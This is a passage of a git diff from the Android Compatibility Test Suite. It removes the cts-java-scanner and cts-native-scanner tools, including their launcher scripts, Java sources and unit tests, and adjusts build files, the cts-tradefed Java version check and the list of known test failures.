-#!/bin/bash
-#
-# Copyright (C) 2011, The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Set up prog to be the path of this script, including following symlinks,
-# and set up progdir to be the fully-qualified pathname of its directory.
-prog="$0"
-while [ -h "${prog}" ]; do
-    newProg=`/bin/ls -ld "${prog}"`
-    newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
-    if expr "x${newProg}" : 'x/' >/dev/null; then
-        prog="${newProg}"
-    else
-        progdir=`dirname "${prog}"`
-        prog="${progdir}/${newProg}"
-    fi
-done
-oldwd=`pwd`
-progdir=`dirname "${prog}"`
-cd "${progdir}"
-progdir=`pwd`
-prog="${progdir}"/`basename "${prog}"`
-cd "${oldwd}"
-
-libdir=`dirname $progdir`/framework
-
-javaOpts=""
-while expr "x$1" : 'x-J' >/dev/null; do
-    opt=`expr "$1" : '-J\(.*\)'`
-    javaOpts="${javaOpts} -${opt}"
-    shift
-done
-
-exec java $javaOpts -jar $libdir/cts-java-scanner.jar "$@"
diff --git a/tools/cts-java-scanner/src/Android.mk b/tools/cts-java-scanner/src/Android.mk
deleted file mode 100644
index ec42bcf..0000000
--- a/tools/cts-java-scanner/src/Android.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-
-# cts-java-scanner java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_JAR_MANIFEST := MANIFEST.mf
-
-LOCAL_MODULE := cts-java-scanner
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-java-scanner/src/MANIFEST.mf b/tools/cts-java-scanner/src/MANIFEST.mf
deleted file mode 100644
index 642f226..0000000
--- a/tools/cts-java-scanner/src/MANIFEST.mf
+++ /dev/null
@@ -1,2 +0,0 @@
-Manifest-Version: 1.0
-Main-Class: com.android.cts.javascanner.CtsJavaScanner
diff --git a/tools/cts-java-scanner/src/com/android/cts/javascanner/CtsJavaScanner.java b/tools/cts-java-scanner/src/com/android/cts/javascanner/CtsJavaScanner.java
deleted file mode 100644
index fc774e9..0000000
--- a/tools/cts-java-scanner/src/com/android/cts/javascanner/CtsJavaScanner.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.javascanner;
-
-import java.io.File;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Class that searches a source directory for native gTests and outputs a
- * list of test classes and methods.
- */
-public class CtsJavaScanner {
-
-    private static void usage(String[] args) {
-        System.err.println("Arguments: " + Arrays.asList(args));
-        System.err.println("Usage: cts-java-scanner -s SOURCE_DIR -d DOCLET_PATH");
-        System.exit(1);
-    }
-
-    public static void main(String[] args) throws Exception {
-        List<File> sourceDirs = new ArrayList<File>();
-        File docletPath = null;
-
-        for (int i = 0; i < args.length; i++) {
-            if ("-s".equals(args[i])) {
-                sourceDirs.add(new File(getArg(args, ++i, "Missing value for source directory")));
-            } else if ("-d".equals(args[i])) {
-                docletPath = new File(getArg(args, ++i, "Missing value for docletPath"));
-            } else {
-                System.err.println("Unsupported flag: " + args[i]);
-                usage(args);
-            }
-        }
-
-        if (sourceDirs.isEmpty()) {
-            System.err.println("Source directory is required");
-            usage(args);
-        }
-
-        if (docletPath == null) {
-            System.err.println("Doclet path is required");
-            usage(args);
-        }
-
-        DocletRunner runner = new DocletRunner(sourceDirs, docletPath);
-        System.exit(runner.runJavaDoc());
-    }
-
-    private static String getArg(String[] args, int index, String message) {
-        if (index < args.length) {
-            return args[index];
-        } else {
-            System.err.println(message);
-            usage(args);
-            return null;
-        }
-    }
-}
diff --git a/tools/cts-java-scanner/src/com/android/cts/javascanner/DocletRunner.java b/tools/cts-java-scanner/src/com/android/cts/javascanner/DocletRunner.java
deleted file mode 100644
index fb6691d..0000000
--- a/tools/cts-java-scanner/src/com/android/cts/javascanner/DocletRunner.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.javascanner;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileFilter;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
-
-class DocletRunner {
-
-    private final List<File> mSourceDirs;
-    private final File mDocletPath;
-
-    DocletRunner(List<File> sourceDirs, File docletPath) {
-        mSourceDirs = sourceDirs;
-        mDocletPath = docletPath;
-    }
-
-    int runJavaDoc() throws IOException, InterruptedException {
-        List<String> args = new ArrayList<String>();
-        args.add("javadoc");
-        args.add("-doclet");
-        args.add("com.android.cts.javascannerdoclet.CtsJavaScannerDoclet");
-        args.add("-docletpath");
-        args.add(mDocletPath.toString());
-        args.add("-sourcepath");
-        args.add(getSourcePath(mSourceDirs));
-        args.add("-classpath");
-        args.add(getClassPath());
-        for (File sourceDir : mSourceDirs) {
-            args.addAll(getSourceFiles(sourceDir));
-        }
-
-
-        // NOTE: We redirect the error stream to make sure the child process
-        // isn't blocked due to a full pipe. (The javadoc tool writes source errors
-        // to stderr.)
-        Process process = new ProcessBuilder(args).redirectErrorStream(true).start();
-        BufferedReader reader = new BufferedReader(
-                new InputStreamReader(process.getInputStream()));
-        try {
-            String line = null;
-            while ((line = reader.readLine()) != null) {
-                System.out.println(line);
-            }
-        } finally {
-            if (reader != null) {
-                reader.close();
-            }
-        }
-
-        return process.waitFor();
-    }
-
-    private String getSourcePath(List<File> sourceDirs) {
-        List<String> sourcePath = new ArrayList<String>();
-        sourcePath.add("./frameworks/base/core/java");
-        sourcePath.add("./frameworks/base/test-runner/src");
-        sourcePath.add("./external/junit/src");
-        sourcePath.add("./development/tools/hosttestlib/src");
-        sourcePath.add("./libcore/dalvik/src/main/java");
-        sourcePath.add("./cts/tests/src");
-        sourcePath.add("./cts/libs/commonutil/src");
-        sourcePath.add("./cts/libs/deviceutil/src");
-        for (File sourceDir : sourceDirs) {
-            sourcePath.add(sourceDir.toString());
-        }
-        return join(sourcePath, ":");
-    }
-
-    private String getClassPath() {
-        List<String> classPath = new ArrayList<String>();
-        classPath.add("./prebuilts/misc/common/tradefed/tradefed-prebuilt.jar");
-        classPath.add("./prebuilts/misc/common/ub-uiautomator/ub-uiautomator.jar");
-        classPath.add("./prebuilts/misc/common/ub-janktesthelper/ub-janktesthelper.jar");
-        return join(classPath, ":");
-    }
-
-    private List<String> getSourceFiles(File sourceDir) {
-        List<String> sourceFiles = new ArrayList<String>();
-
-        File[] files = sourceDir.listFiles(new FileFilter() {
-            @Override
-            public boolean accept(File pathname) {
-                return pathname.isDirectory() || pathname.toString().endsWith(".java");
-            }
-        });
-
-        for (File file : files) {
-            if (file.isDirectory()) {
-                sourceFiles.addAll(getSourceFiles(file));
-            } else {
-                sourceFiles.add(file.toString());
-            }
-        }
-
-        return sourceFiles;
-    }
-
-    private String join(List<String> options, String delimiter) {
-        StringBuilder builder = new StringBuilder();
-        int numOptions = options.size();
-        for (int i = 0; i < numOptions; i++) {
-            builder.append(options.get(i));
-            if (i + 1 < numOptions) {
-                builder.append(delimiter);
-            }
-        }
-        return builder.toString();
-    }
-}
diff --git a/tools/cts-native-scanner/Android.mk b/tools/cts-native-scanner/Android.mk
deleted file mode 100644
index 8bcff1c..0000000
--- a/tools/cts-native-scanner/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-# We use copy-file-to-new-target so that the installed
-# script file's timestamp is at least as new as the
-# .jar file it wraps.
-
-# the hat script
-# ============================================================
-include $(CLEAR_VARS)
-LOCAL_IS_HOST_MODULE := true
-LOCAL_MODULE_CLASS := EXECUTABLES
-LOCAL_MODULE := cts-native-scanner
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE): $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
-$(LOCAL_BUILT_MODULE): $(LOCAL_PATH)/etc/$(LOCAL_MODULE) | $(ACP)
-	@echo "Copy: $(PRIVATE_MODULE) ($@)"
-	$(copy-file-to-new-target)
-	$(hide) chmod 755 $@
-
-# Build all sub-directories
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tools/cts-native-scanner/etc/cts-native-scanner b/tools/cts-native-scanner/etc/cts-native-scanner
deleted file mode 100644
index bf6138f..0000000
--- a/tools/cts-native-scanner/etc/cts-native-scanner
+++ /dev/null
@@ -1,46 +0,0 @@
-#!/bin/bash
-#
-# Copyright (C) 2011, The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Set up prog to be the path of this script, including following symlinks,
-# and set up progdir to be the fully-qualified pathname of its directory.
-prog="$0"
-while [ -h "${prog}" ]; do
-    newProg=`/bin/ls -ld "${prog}"`
-    newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
-    if expr "x${newProg}" : 'x/' >/dev/null; then
-        prog="${newProg}"
-    else
-        progdir=`dirname "${prog}"`
-        prog="${progdir}/${newProg}"
-    fi
-done
-oldwd=`pwd`
-progdir=`dirname "${prog}"`
-cd "${progdir}"
-progdir=`pwd`
-prog="${progdir}"/`basename "${prog}"`
-cd "${oldwd}"
-
-libdir=`dirname $progdir`/framework
-
-javaOpts=""
-while expr "x$1" : 'x-J' >/dev/null; do
-    opt=`expr "$1" : '-J\(.*\)'`
-    javaOpts="${javaOpts} -${opt}"
-    shift
-done
-
-exec java $javaOpts -jar $libdir/cts-native-scanner.jar "$@"
diff --git a/tools/cts-native-scanner/src/Android.mk b/tools/cts-native-scanner/src/Android.mk
deleted file mode 100644
index 9c97b1d..0000000
--- a/tools/cts-native-scanner/src/Android.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-
-# cts-native-scanner java library
-# ============================================================
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_JAR_MANIFEST := MANIFEST.mf
-
-LOCAL_MODULE := cts-native-scanner
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tools/cts-native-scanner/src/MANIFEST.mf b/tools/cts-native-scanner/src/MANIFEST.mf
deleted file mode 100644
index 85eb991..0000000
--- a/tools/cts-native-scanner/src/MANIFEST.mf
+++ /dev/null
@@ -1,2 +0,0 @@
-Manifest-Version: 1.0
-Main-Class: com.android.cts.nativescanner.CtsNativeScanner
diff --git a/tools/cts-native-scanner/src/com/android/cts/nativescanner/CtsNativeScanner.java b/tools/cts-native-scanner/src/com/android/cts/nativescanner/CtsNativeScanner.java
deleted file mode 100644
index 2414138..0000000
--- a/tools/cts-native-scanner/src/com/android/cts/nativescanner/CtsNativeScanner.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.nativescanner;
-
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Class that searches a source directory for native gTests and outputs a
- * list of test classes and methods.
- */
-public class CtsNativeScanner {
-
-    private static void usage(String[] args) {
-        System.err.println("Arguments: " + Arrays.asList(args));
-        System.err.println("Usage: cts-native-scanner -t TEST_SUITE");
-        System.err.println("  This code reads from stdin the list of tests.");
-        System.err.println("  The format expected:");
-        System.err.println("    TEST_CASE_NAME.");
-        System.err.println("      TEST_NAME");
-        System.exit(1);
-    }
-
-    public static void main(String[] args) throws Exception {
-        String testSuite = null;
-        for (int i = 0; i < args.length; i++) {
-            if ("-t".equals(args[i])) {
-                testSuite = getArg(args, ++i, "Missing value for test suite");
-            } else {
-                System.err.println("Unsupported flag: " + args[i]);
-                usage(args);
-            }
-        }
-
-        if (testSuite == null) {
-            System.out.println("Test suite is required");
-            usage(args);
-        }
-
-        BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
-        TestScanner scanner = new TestScanner(reader, testSuite);
-        for (String name : scanner.getTestNames()) {
-            System.out.println(name);
-        }
-    }
-
-    private static String getArg(String[] args, int index, String message) {
-        if (index < args.length) {
-            return args[index];
-        } else {
-            System.err.println(message);
-            usage(args);
-            return null;
-        }
-    }
-}
diff --git a/tools/cts-native-scanner/src/com/android/cts/nativescanner/TestScanner.java b/tools/cts-native-scanner/src/com/android/cts/nativescanner/TestScanner.java
deleted file mode 100644
index 6fcb353..0000000
--- a/tools/cts-native-scanner/src/com/android/cts/nativescanner/TestScanner.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.nativescanner;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Read from the BufferedReader a list of test case names and test cases.
- *
- * The expected format of the incoming test list:
- *   TEST_CASE_NAME.
- *     TEST_NAME1
- *     TEST_NAME2
- *
- * The output:
- *   suite:TestSuite
- *   case:TEST_CASE_NAME
- *   test:TEST_NAME1
- *   test:TEST_NAME2
- */
-class TestScanner {
-
-    private final String mTestSuite;
-
-    private final BufferedReader mReader;
-
-    TestScanner(BufferedReader reader, String testSuite) {
-        mTestSuite = testSuite;
-        mReader = reader;
-    }
-
-    public List<String> getTestNames() throws IOException {
-        List<String> testNames = new ArrayList<String>();
-
-        String testCaseName = null;
-        String line;
-        while ((line = mReader.readLine()) != null) {
-          if (line.length() > 0) {
-            if (line.charAt(0) == ' ') {
-              if (testCaseName != null) {
-                testNames.add("test:" + line.trim());
-              } else {
-                throw new IOException("TEST_CASE_NAME not defined before first test.");
-              }
-            } else {
-              testCaseName = line.trim();
-              if (testCaseName.endsWith(".")) {
-                testCaseName = testCaseName.substring(0, testCaseName.length()-1);
-              }
-              testNames.add("suite:" + mTestSuite);
-              testNames.add("case:" + testCaseName);
-            }
-          }
-        }
-        return testNames;
-    }
-}
diff --git a/tools/cts-native-scanner/tests/Android.mk b/tools/cts-native-scanner/tests/Android.mk
deleted file mode 100644
index 29c5514..0000000
--- a/tools/cts-native-scanner/tests/Android.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-# Copyright 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this lib
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := cts-native-scanner-tests
-LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt cts-native-scanner
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-
diff --git a/tools/cts-native-scanner/tests/run_unit_tests.sh b/tools/cts-native-scanner/tests/run_unit_tests.sh
deleted file mode 100755
index a42e42b..0000000
--- a/tools/cts-native-scanner/tests/run_unit_tests.sh
+++ /dev/null
@@ -1,36 +0,0 @@
-#!/bin/bash
-
-# Copyright 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# helper script for running the cts-tradefed unit tests
-
-checkFile() {
-    if [ ! -f "$1" ]; then
-        echo "Unable to locate $1"
-        exit
-    fi;
-}
-
-JAR_DIR=${ANDROID_HOST_OUT}/framework
-JARS="ddmlib-prebuilt.jar tradefed-prebuilt.jar hosttestlib.jar cts-native-scanner.jar cts-native-scanner-tests.jar"
-
-for JAR in $JARS; do
-    checkFile ${JAR_DIR}/${JAR}
-    JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}
-done
-
-java $RDBG_FLAG \
-  -cp ${JAR_PATH} com.android.tradefed.command.Console run singleCommand host -n --class com.android.cts.nativescanner.UnitTests "$@"
-
diff --git a/tools/cts-native-scanner/tests/src/com/android/cts/nativescanner/TestScannerTest.java b/tools/cts-native-scanner/tests/src/com/android/cts/nativescanner/TestScannerTest.java
deleted file mode 100644
index b00c7dc..0000000
--- a/tools/cts-native-scanner/tests/src/com/android/cts/nativescanner/TestScannerTest.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.nativescanner;
-
-import com.android.cts.nativescanner.TestScanner;
-
-import junit.framework.TestCase;
-
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.io.StringReader;
-import java.util.List;
-import java.util.Iterator;
-
-/**
- * Unit tests for {@link TestScanner}.
- */
-public class TestScannerTest extends TestCase {
-
-    public void testSingleTestNamesCase() throws Exception {
-        StringReader singleTestString = new StringReader("FakeTestCase.\n  FakeTestName\n");
-        BufferedReader reader = new BufferedReader(singleTestString);
-
-        TestScanner testScanner = new TestScanner(reader, "TestSuite");
-
-        List<String> names = testScanner.getTestNames();
-        Iterator it = names.iterator();
-        assertEquals("suite:TestSuite", it.next());
-        assertEquals("case:FakeTestCase", it.next());
-        assertEquals("test:FakeTestName", it.next());
-        assertFalse(it.hasNext());
-    }
-
-    public void testMultipleTestNamesCase() throws Exception {
-        StringReader singleTestString = new StringReader(
-          "Case1.\n  Test1\n  Test2\nCase2.\n  Test3\n Test4\n");
-        BufferedReader reader = new BufferedReader(singleTestString);
-
-        TestScanner testScanner = new TestScanner(reader, "TestSuite");
-
-        List<String> names = testScanner.getTestNames();
-        Iterator it = names.iterator();
-        assertEquals("suite:TestSuite", it.next());
-        assertEquals("case:Case1", it.next());
-        assertEquals("test:Test1", it.next());
-        assertEquals("test:Test2", it.next());
-        assertEquals("case:Case2", it.next());
-        assertEquals("test:Test3", it.next());
-        assertEquals("test:Test4", it.next());
-        assertFalse(it.hasNext());
-    }
-
-    public void testMissingTestCaseNameCase() {
-        StringReader singleTestString = new StringReader("  Test1\n");
-        BufferedReader reader = new BufferedReader(singleTestString);
-
-        TestScanner testScanner = new TestScanner(reader, "TestSuite");
-
-        try {
-          List<String> names = testScanner.getTestNames();
-          fail();
-        } catch (IOException expected) {
-        }
-    }
-}
diff --git a/tools/cts-native-scanner/tests/src/com/android/cts/nativescanner/UnitTests.java b/tools/cts-native-scanner/tests/src/com/android/cts/nativescanner/UnitTests.java
deleted file mode 100644
index 13d4e5b..0000000
--- a/tools/cts-native-scanner/tests/src/com/android/cts/nativescanner/UnitTests.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.nativescanner;
-
-import com.android.cts.nativescanner.TestScannerTest;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-/**
- * A test suite for all cts-native-scanner unit tests.
- * <p/>
- * All tests listed here should be self-contained, and do not require any external dependencies
- */
-public class UnitTests extends TestSuite {
-
-    public UnitTests() {
-        super();
-
-        // result package
-        addTestSuite(TestScannerTest.class);
-    }
-
-    public static Test suite() {
-        return new UnitTests();
-    }
-}
diff --git a/tools/cts-preconditions/Android.mk b/tools/cts-preconditions/Android.mk
index 5497dda..228d6a3 100644
--- a/tools/cts-preconditions/Android.mk
+++ b/tools/cts-preconditions/Android.mk
@@ -25,7 +25,10 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-preconditions
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-preconditions \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tools/cts-reference-app-lib/Android.mk b/tools/cts-reference-app-lib/Android.mk
index fae85b4..8f6039d 100644
--- a/tools/cts-reference-app-lib/Android.mk
+++ b/tools/cts-reference-app-lib/Android.mk
@@ -24,6 +24,8 @@
 # and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+
 LOCAL_SDK_VERSION := current
 
 LOCAL_MODULE := android.cts.refapp
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index d202fbcb..7783e58c 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
 LOCAL_SUITE_NAME := CTS
 LOCAL_SUITE_FULLNAME := "Compatibility Test Suite"
-LOCAL_SUITE_VERSION := 7.1_r9
+LOCAL_SUITE_VERSION := 7.1_r2
 
 LOCAL_MODULE := cts-tradefed
 
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 3e935ca..3edc21f 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -36,10 +36,18 @@
 checkPath java
 
 # check java version
-JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
-if [ "${JAVA_VERSION}" == "" ]; then
-    echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
-    exit
+if [ "${EXPERIMENTAL_USE_OPENJDK9}" == "" ]; then
+    JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
+    if [ "${JAVA_VERSION}" == "" ]; then
+        echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
+        exit
+    fi
+else
+    JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '^java .* "9.*')
+    if [ "${JAVA_VERSION}" == "" ]; then
+        echo "Wrong java version. Version 9 is required."
+        exit
+    fi
 fi
 
 # check debug flag and set up remote debugging
@@ -76,7 +84,7 @@
 
 if [ -z ${CTS_ROOT} ]; then
     # assume we're in an extracted cts install
-    CTS_ROOT="$(dirname $0)/../.."
+    CTS_ROOT="$(dirname $(readlink -e $0))/../.."
 fi;
 
 JAR_DIR=${CTS_ROOT}/android-cts/tools
diff --git a/tools/cts-tradefed/res/config/collect-tests-only.xml b/tools/cts-tradefed/res/config/collect-tests-only.xml
index 9ee7d51..fea3f3d 100644
--- a/tools/cts-tradefed/res/config/collect-tests-only.xml
+++ b/tools/cts-tradefed/res/config/collect-tests-only.xml
@@ -47,4 +47,7 @@
     <!-- Tell all DalvikTests to only list the tests -->
     <option name="compatibility:test-arg" value="com.android.compatibility.testtype.DalvikTest:collect-tests-only:true" />
 
+    <!-- Tell all LibcoreTests to only list the tests -->
+    <option name="compatibility:test-arg" value="com.android.compatibility.testtype.LibcoreTest:collect-tests-only:true" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 73e4f2c..848f1d0 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -60,6 +60,9 @@
     <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.TextViewTest#testTextView" />
     <option name="compatibility:exclude-filter" value="CtsAssistTestCases android.assist.cts.WebViewTest#testWebView" />
 
+    <!-- b/23776099 -->
+    <option name="compatibility:exclude-filter" value="CtsCallLogTestCases" />
+
     <!-- b/17530117 -->
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testBlackWhite" />
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.AllocationTest#testParamSensitivity" />
@@ -215,9 +218,6 @@
     <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.ExtendedInCallServiceTest#testAddNewOutgoingCallAndThenDisconnect" />
     <option name="compatibility:exclude-filter" value="CtsTelecomTestCases android.telecom.cts.RemoteConferenceTest#testRemoteConferenceCallbacks_ConferenceableConnections" />
 
-    <!-- b/23979591 -->
-    <option name="compatibility:exclude-filter" value="CtsTelephonyTestCases android.telephony.cts.CellInfoTest#testCellInfo" />
-
     <!-- b/23779020 -->
     <option name="compatibility:exclude-filter" value="CtsTransitionTestCases android.transition.cts.ChangeScrollTest#testChangeScroll" />
 
diff --git a/tools/cts-tradefed/res/config/cts-pdk.xml b/tools/cts-tradefed/res/config/cts-pdk.xml
deleted file mode 100644
index 32dcecc..0000000
--- a/tools/cts-tradefed/res/config/cts-pdk.xml
+++ /dev/null
@@ -1,39 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
